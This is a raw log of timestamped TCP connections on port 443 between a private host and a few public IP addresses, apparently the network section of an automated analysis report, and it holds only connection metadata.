Dec 12, 2024 12:08:57.065669060 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.072323084 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.072393894 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.072415113 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.078918934 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.078984976 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.078994989 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.085526943 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.085592985 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.085616112 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.094218969 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.094293118 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.094314098 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.099473000 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.099572897 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.099585056 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.105197906 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.105263948 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.105273008 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.108122110 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.108180046 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.108187914 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.108217955 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.108342886 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.108478069 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.108503103 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.445452929 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.445795059 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.445861101 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.447307110 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.447391033 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.447798014 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.447875023 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.447963953 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.490156889 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.490191936 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.536643028 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.891644001 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.891729116 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:57.891841888 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.892930984 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:57.892955065 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:58.093321085 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.093810081 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.093841076 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.094296932 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.094625950 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.094711065 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.094835997 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.135365963 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.649863958 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.649900913 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.649976015 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.650008917 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.693474054 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.700906992 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.700942039 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.700994015 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.701051950 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.701059103 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.706502914 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.706558943 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.706795931 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.706813097 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.920396090 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.920422077 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.920499086 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.920527935 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.926763058 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.926853895 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.973828077 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.973856926 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.982692003 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.982732058 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.982805014 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.983254910 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.983269930 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.997931004 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.997982979 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:58.998066902 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.998550892 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:58.998569965 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.327097893 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.327485085 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.327553034 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.327919960 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.328361988 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.328362942 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.328418970 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.328536034 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.344341993 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.344638109 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.344701052 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.345793962 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.346199036 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.346199036 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.346378088 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.383594036 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.398293018 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.879872084 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.879899025 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.879966974 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.879992008 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.883275032 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.883348942 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.890125036 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.890252113 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.890321970 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.914762974 CET	50056	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.914829016 CET	443	50056	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:00.916462898 CET	50055	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:00.916484118 CET	443	50055	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:01.124557972 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.124598980 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:01.124689102 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.138684034 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.138719082 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:01.155950069 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.155997992 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:01.156063080 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.156361103 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:01.156375885 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:01.318617105 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.318659067 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:01.318717957 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.319053888 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.319088936 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:01.319226027 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.319242954 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.319252014 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:01.319487095 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:01.319498062 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:02.039525986 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.039575100 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.039633036 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.040160894 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.040174961 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.705877066 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.706192970 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.706214905 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.706672907 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.707035065 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.707117081 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.707158089 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.709002018 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.709213972 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.709239960 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.709705114 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.709990978 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.710068941 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.710113049 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.751336098 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.751364946 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:02.757976055 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:02.758002996 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.095619917 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.095879078 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.095904112 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.096914053 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.096982002 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.098136902 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.098201036 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.098387957 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.098396063 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.100534916 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.100713968 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.100729942 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.102194071 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.102252960 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.103190899 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.103279114 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.103387117 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.103396893 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.146214008 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.146290064 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.336255074 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.365622044 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.365736961 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.365761995 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.365773916 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.365791082 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.365825891 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.365854979 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.366611004 CET	50060	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.366625071 CET	443	50060	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.373080015 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.377794027 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.377895117 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.377983093 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.378217936 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.378254890 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.384136915 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.388298988 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.388405085 CET	50063	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.388417006 CET	443	50063	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.389225960 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.389494896 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.389530897 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.389827967 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.392946959 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.393009901 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.393105030 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:03.439327955 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:03.610912085 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.614198923 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.614267111 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.614341021 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.614341974 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.614398003 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.652174950 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.656050920 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656060934 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656146049 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.656158924 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656181097 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656217098 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.656218052 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656239033 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.656263113 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.656263113 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.656296015 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.754014015 CET	50065	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.754035950 CET	443	50065	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.838001013 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.838013887 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.838046074 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.838165045 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.838165045 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.838192940 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.838239908 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.885096073 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.885113001 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.885298014 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.885322094 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.885385990 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.935455084 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.935494900 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:03.935564995 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.935796976 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:03.935816050 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.009567022 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.009597063 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.009654045 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.009679079 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.009694099 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.009829044 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.010385990 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.010418892 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.010482073 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.010494947 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.010508060 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.010559082 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.011004925 CET	50066	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.011017084 CET	443	50066	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.034938097 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.034955978 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.035038948 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.035048008 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.035094023 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.061745882 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.061764956 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.061814070 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.061820984 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.061866999 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.061880112 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.082617998 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.082679033 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.082747936 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.082756042 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.082801104 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.195127010 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.195148945 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.195204973 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.195214987 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.195245981 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.195261955 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.209038973 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.209064960 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.209131002 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.209141970 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.209183931 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.223391056 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.223409891 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.223465919 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.223474026 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.223506927 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.223515034 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.237548113 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.237565041 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.237637043 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.237644911 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.237684011 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.243702888 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.243779898 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.243786097 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.243818045 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.243861914 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.244235039 CET	50064	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.244250059 CET	443	50064	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.250258923 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.250304937 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.250535965 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.250772953 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:04.250796080 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:04.918667078 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.919029951 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.919055939 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.919406891 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.921237946 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.921303988 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:04.921432972 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:04.967334032 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.492731094 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.492827892 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.493741035 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:05.493768930 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:05.493835926 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.493916988 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:05.493984938 CET	50072	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:05.494003057 CET	443	50072	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.494786978 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:05.494828939 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:05.710772991 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:05.711028099 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:05.711052895 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:05.712493896 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:05.712570906 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:05.713172913 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:05.713262081 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:05.713419914 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:05.713434935 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:05.754661083 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.059492111 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.059854031 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.059870958 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.061266899 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.061331034 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.062619925 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.062784910 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.062933922 CET	50074	443	192.168.2.4	152.199.21.175
